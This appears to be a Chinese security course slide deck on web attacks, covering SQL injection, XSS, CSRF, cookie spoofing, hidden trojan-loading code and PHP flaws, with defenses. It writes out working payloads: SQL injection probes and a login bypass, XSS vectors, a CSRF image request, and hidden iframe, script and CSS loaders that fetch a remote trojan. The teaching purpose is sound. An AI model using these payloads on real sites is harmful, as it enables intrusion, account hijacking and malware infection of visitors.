web应用攻击技术课件_第1页
web应用攻击技术课件_第2页
web应用攻击技术课件_第3页
web应用攻击技术课件_第4页
web应用攻击技术课件_第5页
已阅读5页,还剩67页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

WEB应用攻击技术安全发展趋势——攻击来自应用层Gartner报告:75%的攻击来自应用层传统安全设备应用层防护功能单一,存在系统防护短板过去攻击在网络层现在攻击在应用层安全发展趋势——攻击来自应用层Gartner报告:75%的攻击来自应用层传统安全设备应用层防护功能单一,存在系统防护短板过去攻击在网络层现在攻击在应用层安全发展趋势——不仅以破坏为目的网页篡改信用卡身份信息过去的黑客:破坏——技术炫耀现在的黑客:窃取——经济利益现在:窃取过去:破坏瘫痪泄露攻击目标广泛门槛低,相比于其他网络攻击难度小。攻击成功以后经济收益大。呈现工具化,自动化趋势。Web应用攻击特点认识HTTP协议SQL注入(SQLinjection)跨站脚本攻击恶意代码已知弱点和错误配置隐藏字段后门和调试漏洞参数篡改更改cookie输入信息控制缓冲区溢出十大常见的WEB应用攻击

一、SQL注入技术概述就攻击技术本质而言,它利用的工具是SQL的语法,针对的是应用程序开发者编程中的漏洞,当攻击者能操作数据,向应用程序中插入一些SQL语句时,SQLInjection攻击就发生了。所谓SQL注入式攻击,就是攻击者把SQL命令插入到表单(如Web表单)的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。就风险而言,SQLInjection攻击也是位居前列,和缓冲区溢出漏洞相比,其优势在于能够轻易的绕过防火墙直接访问数据库,甚至能够获得数据库所在的服务器的系统权限。在Web应用漏洞中,SQLInjection漏洞的风险要高过其他所有的漏洞。安全风险攻击特点攻击的广泛性:由于其利用的是SQL语法,使得攻击普遍存在;攻击代码的多样性:由于各种数据库软件及应用程序有其自身的特点,实际的攻击代码可能不尽相同;影响范围数据库:MS-SqlServer、Oracle、Mysql、DB2、Informix等所有基于SQL语言标准的数据库软件;应用程序:ASP、PHP,JSP、CGI、CFM等所有应用程序;SQL注入攻击原理:利用输入校验不完整等缺陷,使得输入的数据被作为SQL语句执行。攻击向量位置:常见于Get,Post参数,Cookie权限和危害:SQL注入可以用数据库权限来执行各种命令,危害极大。SQL注入攻击的具体过程

①SQL注入漏洞的判断,即寻找注入点;②判断后台数据库类型及取注入方法;③确定可执行情况;若当前连接数据的帐号具有SA权限,且扩展存储过程能够正确执行,则整个计算机可以通过几种方法完全控制,也就完成了整个注入过程,否则继续执行下面的步骤:④发现WEB虚拟目录;⑤上传ASP木马;⑥得到系统的管理员权SQL注入攻击的具体实现-①寻找注入点:尝试有传入参数的页面,测试是否有SQL注入漏洞。在这里假设http://www.***.com/list.asp?id=258代表有漏洞的网址。在其ID=258后面加一个’号,如果页面正常返回,则表示网站程序员在编程时,过滤了单引号。还可以加比较经典的and1=1或and1=2,通过页面返回是否正常就可以判定是否可以注入。由于这里假设是可以注入,所以页面返回错误提示:MicrosoftOLEDBProviderforODBCDrivers错误‘80040e14'[Microsoft][ODBCSQLserverDriver][SQLserver]字符串的语法错误在查询表达式'ID=258''中。/list.asp行9-

②判断数据库类型及方法:不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。③在以上的工作都做完了之后,就应该破解管理员帐号及密码了。以下就是猜解的方法:猜表名:加andexists(select(*)fromadmin)andexists(selectidfromadmin)*admin表中有个id的字段

andexists(selectusernamefromadmin)*admin表中是否有username字段andexists(selectpasswordfromadmin)*admin表中有个密码的字段passwordandexists(selectidfromadminwhereid=2)*admin表中是否有一个id=2的值简单的SQLInjection攻击假设的登录查询

SELECT*FROMusers WHERElogin='victor' ANDpassword='123‘假设的ASP代码varsql="SELECT*FROMusers WHERElogin='"+formusr+ "'ANDpassword='"+formpwd+"'";简单的SQLInjection攻击输入字符

formusr='or1=1–– formpwd=anything实际的查询代码SELECT*FROMusers WHEREusername=''or1=1–– ANDpassword='anything‘--是结束符,后面变成注释,导致此SQL语句恒成立,可以登陆后台演示SQL注入式攻击防范技术①服务器管理员防御SQL注入攻击由于服务器管理员不可能挨个检查每个网站是否存在SQL注入漏洞,他要做的事主要就是配置IIS和数据库用户权限。SQL注入入侵是根据IIS给出的ASP错误提示信息来入侵的,如果你把IIS设置成不管出什么样的ASP错误,只给出一种错误提示信息,那么入侵也就没办法了。服务器管理员还应在IIS中为每个网站设置好执行权限,一定别给静态网站以"脚本和可执行"权限SQL注入式攻击防范技术②程序员的防御措施对客户端提交的变量参数进行仔细地检测以防止SQL注入,只要在利用表单输入的内容构造SQL命令之前,把所有输入内容过滤一番(1)对于动态构造SQL查询的场合,可以使用下面的技术:替换字符。例如把所有单独出现的单引号改成两个单引号,以防止攻击者修改SQL命令的含义。第二:删除特殊字符,防止攻击者构造出类似“select*fromUserswhereadmin='AAA'——andpassword=''”之类的查询SQL注入式攻击防范技术②程序员的防御措施(2)限制表单或查询字符串输入的长度范围。如果用户的登录名字范围在6-10个字符,那么不要认可表单中输入的6个以下和10个以上的字符,从而增加攻击者在SQL命令中插入有害代码的难度。(3)检查用户输入的合法性,防止非法数据的输入SQL注入式攻击防范技术②程序员的防御措施(4)加密保存用户登录名称、密码等数据。加密输入的数据后,再将它与数据库中保存的数据进行比较,这就相当于对用户输入的数据进行了“消毒”处理,用户输入的数据不再对数据库有任何特殊的意义。二、跨站脚本攻击80%网站存在跨站漏洞,包括许多大型知名网站什么是跨站脚本攻击跨站攻击的危害跨站漏洞的检测与攻击手段

什么是跨站脚本攻击跨站脚本攻击(CrossSiteScripting),为了与css(层叠样式表)区分,故被人们称为Xss.它的攻击原理就是恶意浏览者构造巧妙的脚本恶意代码通过网站功能存入到网站的数据库里面,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库,合法用户在访问这些页面的时候程序将数据库里面的信息输出,这些恶意代码就会被执行。Xss攻击方式跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。XSS是针对客户端的攻击本质上说,XSS和缓存区溢出,SQL注入攻击是类似的,最终导致的是输入的数据被当成命令执行。具体说,XSS就是利用各种手段,把数据部分的标签关闭,然后加入各种类型脚本,使得客户端执行嵌入脚本。Xss漏洞攻击原理(1)脚本标记法

了解XSS的触发条件就先得从HTML(超文本标记语言)开始,我们浏览的网页全部都是基于超文本标记语言创建的,如显示一个超链接:

<AHREF="">百度一下</A>

而XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记<script></script>.在没有过滤字符的情况下,只需要保持完整无错的脚本标记即可触发XSS,假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭和标记来构造完整无错的脚本标记,

"><script>alert('XSS');</script><"

结果形成了<AHREF=""><script>alert('XSS');</script><""></A>-Xss漏洞攻击原理(2)标记属性法

假如要在网页里显示一张图片,那么就要使用一个<img>标记,示例如下:

<imgsrc="/xss.gif">

img标记并不是真正地把图片给加入到Html文档把两者合二为一,而是通过src属性赋值。那么浏览器的任务就是解释这个img标记,访问src属性所赋的值中的URL地址并输出图片。就是因为浏览器不会检测src属性所赋的值,因此可以在这里大做文章。javascript有一个URL伪协议,可以使用“javascript:”这种协议说明符加上任意的javascript代码,当浏览器装载这样的URL时,便会执行其中的代码.于是我们就得出了一个经典的XSS示例:

<imgsrc="javascript:alert('XSS');">-Xss漏洞攻击原理(3)事件触发法

不是所有标记的属性都能用,标记的属性在访问文件才触发的XSS,离开标记的属性还有事件能帮助我们触发XSS.只有达到某个条件才会引发事件,img标记有一个可以利用的onerror()事件,当img标记内含有一个onerror()事件而正好图片没有正常输出便会触发这个事件,而事件中可以加入任意的脚本代码,其中的代码也会执行.现在我们又得到了另外一个经典的XSS示例: <imgsrc=“http://xss.jpg”onerror=alert(‘XSS’)>【演示】跨站攻击的危害窃取Cookie劫持帐户执行ActiveX执行Flash内容强迫您下载软件对硬盘和数据采取操作……XSS检测和防御开发输入验证,输入编码,长度限制WAF检测方法特征方法,特征+script语法方法树立安全意识超长的URL一般都比较可疑,不要随便乱点。使用较安全的浏览器躲避检测思路各种编码(%号编码,utf-8编码,html编码)注释符,空格,回车换行等特殊字符应用攻击包分片演示实验内容:利用xss跨站攻击获得Cookie三、CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF攻击原理图1

CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF攻击原理图2

CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF攻击原理图3

发起攻击的站点致使浏览器向可信的站点发送一个请求。该可信的站点认为,来自该Web浏览器的请求都是经过认证的有效请求,所以执行这个“可信的动作”。CSRF攻击之所以会发生,其根本原因就是Web站点所验证的是Web浏览器而非用户本身。下面我们用一个具体的示例来详细介绍CSRF攻击。CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF攻击举例/compose.htm{form

action="/send_email.htm"

method="GET"}

Recipient’sEmailaddress:{inputtype="text"name="to"}

Subject:{inputtype="text"name="subject"}

Message:{textareaname="msg"}{/textarea}

{inputtype="submit"value="SendEmail"}

{/form}图3CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF攻击举例/send_email.htm?to=bob%40&subject=hello&msg=What%27s+your+name%3F/send_email.htm?to=bob%40&subject=hi+Bob&msg=test/send_email.htm?to=alice%40&subject=hi+Alice&msg=test/send_email.htm?to=carol%40&subject=hi+Carol&msg=test图3CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF攻击举例使用标签{imgsrc="/send_email.htm?to=mallory%40&subject=Hi&msg=My+email+address+has+been+stolen"}图3CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF的根本原因CSRF攻击这一弱点的根源在于Web的身份验证机制虽然可以向目标站点保证一个请求来自于某个用户的浏览器,但是却无法保证该请求的确是那个用户发出的或者是经过那个用户批准的。

只要身份认证是隐式进行的,就会存在CSRF攻击的危险,因为浏览器发出请求这一动作未必是受用户的指使。原则上,这种威胁可以通过对每个发送至该站点的请求都要求用户进行显式的、不可欺骗的动作(诸如重新输入用户名和口令)来消除,但实际上这会导致严重的易用性问题。图3CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF攻击向量

成功发动攻击前提是,用户必须已经登录到目标站点,并且必须浏览了攻击者的站点或被攻击者部分控制的站点。如果一个服务器有CSRF漏洞,并且接受GET请求,那么无需使用JavaScript就可以发动CSRF攻击,例如,只需使用{IMG}标签就可以。如果该服务器仅接受POST请求,那么要想从攻击者的站点自动发送POST请求到目标站点的话,就必须使用JavaScript。CSRF(CrossSiteRequestForgery

跨站脚本请求伪造)攻击CSRF与XSSXSS攻击通常是指,攻击者向一个站点注入恶意代码(通常为JavaScript),以攻击该站点的其它用户。CSRF和XSS攻击的区别在于,XSS攻击需要JavaScript,而CSRF攻击不需要;XSS攻击要求站点接受恶意代码,而对于CSRF攻击来说,恶意代码位于第三方站点上。图3CSRF攻击检测与防御检测Referer方法Referer是HTTP协议头的一个字段,表示HTTP请求的来源页面。指定Referer可以防止一部分CSRF攻击,但Referer可以伪造,所以一般还要加上防止Referer伪造的机制验证码方法添加验证码目的是在用户和网站交互过程中添加个“可见”环节,提醒用户是否是有效的请求。演示CSRF演示CSRF和SQL注入组合四、Cookie攻击什么是Cookie

为了方便用户浏览、准确收集访问者信息,很多网站都采用了Cookie技术。Cookie文件中存放了一些MD5加密信息,比如用户ID、密码、停留时间等,如果网站在你的硬盘上创建了Cookie,以后再次访问该站时,网站就会读取该Cookie然后做出相应的动作,例如不输入用户ID、密码直接登录,进行身份和权限验证等。

Cookie简介Cookie的类型:持久Cookie:保存在电脑硬盘中,例如首次访问某站时,服务器会在数据库中新建一个唯一的ID,并把该ID记录在持久Cookie中传送给你;以后再次来访时,服务器会读取该Cookie,判断你是否为老用户,或者计算访问次数等操作。持久Cookie可能会遭到Cookie欺骗及针对Cookie的跨站脚本攻击,不如sessionCookie安全。

会话Cookie:会话Cookie位于服务器端、保存在内存(浏览器进程)中,当你浏览某网页时创建,关闭此页即删除。Cookie简介查看Cookie方法:在IE中查看使用IECookieView来查看、修改删除或保存Cookie文件。常见Cookie攻击方式Cookie欺骗是常见的攻击网站方式,所谓Cookie欺骗,就是将别人的Cookie向服务器提交,冒充别人的身份登录网站。要用Cookie欺骗攻击某站,首先需要获得该站管理员的Cookie。举例Cookie攻击防御Cookie加密:防止Cookie信息泄露,防止Cookie篡改Cookie签名:加源IP签名可防止Cookie劫持Cookie的HttpOnly属性设置:可以防止Cookie被浏览器脚本读取,可降低Cookie泄漏的风险Cookie的Secure属性设置:使得客户端浏览器只有在HTTPS访问的情况下才会提交Cookie,提高了客户端提交Cookie传输过程的安全性Cookie实验使用工具对cookie进行分析,对具有漏洞的网站进行获得管理员权限、cookie劫持攻击、cookie篡改攻击等。五、网页挂马网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。

五、网页挂马挂马攻击方式主动攻击

攻击者通过各种欺骗、引诱等手段,诱使用户访问放置有网页木马的网站。这种攻击方式常见的案例有,攻击者在各种论坛、聊天室、博客留言等用户集中的区域发布各种色情内容的链接、在各种在线游戏的聊天频道中发布各种中奖抽奖信息、使用各种即时通讯软件手动或通过之前被感染的用户自动向联系人发送带欺骗性质的网站链接等。

五、网页挂马挂马攻击方式被动攻击

攻击者通过入侵互联网上访问量大的站点,并在其页面中插入网页木马的代码。这种攻击方式属于广撒网的攻击方式,访问到该网站的用户都有可能感染其所带网页木马种植的恶意软件。

挂马攻击流程网页挂马挂马分类

把网页木马嵌入到正常网页中的行为,就是俗称的网页挂马。1、框架嵌入式网络挂马(iframe式挂马)

在页面插入一个隐藏的框架,攻击者利用iframe语句,将网页木马加载到任意网页中,通常的挂马代码如下:<iframe

src=http://网页木马地址

width=0

height=0></iframe>

网页挂马挂马分类2、JavaScript脚本挂马(1)在js中直接写出框架网页木马,示例代码如下:Document.write("<iframewidth=‘0’height=‘0’scr=‘网页木马址’></iframe>");

(2)指定language的属性为"Jscript.Encode",还可以引入其他扩展名的js代码,这样做更加具有迷惑性,示例如下:<SCRIPTlanguage=“Jscript.Encode”scr=/xx.jpg></script>;

网页挂马挂马分类2、JavaScript脚本挂马(3)利用JavaScript的window.open方法打开一个不可见的新窗口,示例代码如下:<SCRIPTlanguage=javascript>window.open("网页木马地址","","toolbar=no,location=no,directories=no,status=no,menubar=noscrollbars=no,width=1,height=1");</script>;

(4)利用URL欺骗,首先我们得明白什么叫URL欺骗,URL欺骗就是把你想要连接到的网址隐藏起来,显示成另外一个网址。示例代码如下:<ahref="(迷惑连接地址,显示这个地址指向木马地址)"onMouseOver="www_163_com();returntrue;">页面要显示的内容</a>

<SCRIPTLanguage="JavaScript">

网页挂马挂马分类3、body挂马

利用body的onload属性引入网页木马,使用如下代码就可以使网页在加载完成的时候跳转到网页木马的地址。<bodyonload="window.location='网页木马地址';"></body>

网页挂马挂马分类4、css挂马利用层叠样式表CSS引入js,从而引入网页木马,示例代码如下:body{

background-image:url('javascript:document.write("<scriptsrc=http://www.XXX.net/muma.js></script>")')}

网页挂马挂马分类5、伪装调用

利用隐藏的分割框架引入网页木马,示例代码如下:<framesetrows="444,0"cols="*">

<framesrc="打开网页"framborder="no"scrolling="auto"noresizemarginwidth="0"margingheight="0">

<framesrc="网马地址"frameborder="no"scrolling="no"noresizemarginwidth="0"margingheight="0">

</frameset>

网页挂马挂马分类6、图片伪装挂马

随着防毒技术的发展,黑客手段也不停地更新,图片木马技术逃避杀毒监视的新技术,攻击者将类似:/test.htm中的木马代码植入到test.gif图片文件中,这些嵌入代码的图片都可以用工具生成,攻击者只需输入相关的选项就可以了,如图4。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:<html><iframe

src="/test.htm"

height=0

width=0></iframe>

<img

src="/test.jpg"></center></html>注:当用户打开/test.htm是,显示给用户的是/test.jpg,而/test.htm网页代码也随之运行。

挂马检测思路理想的方法是沙箱方法,主动扫描各个网页,发现恶意URL,生成恶意URL信息库。根据这个库来判断网站是否存在挂马。异型检测:挂羊头卖狗肉的链接都是可以的,例如<img>标签里的实际内容是个js脚本。PHP特有漏洞攻击变量滥用攻击标量没有初始化远程文件包含漏洞没有检验文件是否为本地文件PHP特有漏洞攻击——变量滥用攻击全局变量<FORMMETHOD="GET"ACTION="test.php">

<INPUTTYPE="TEXT"NAME="hello">

<INPUTTYPE="SUBMIT">

</FORM>PHP特有漏洞攻击——变量滥用攻击问题代码<? //test_1.php if($pass=="hello") $auth=1;if($auth==1)echo"someimportantinformation"; elseecho"nothing"; ?>自定义变量绕过验证提交http://victim/test_1.php?auth=1PHP特有漏洞攻击——利用远程文件攻击代码<?php

if(!($fd=fopen("$filename","r"))

echo("Couldnotopenfile:$filename<BR>\n");

?>如果指定

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论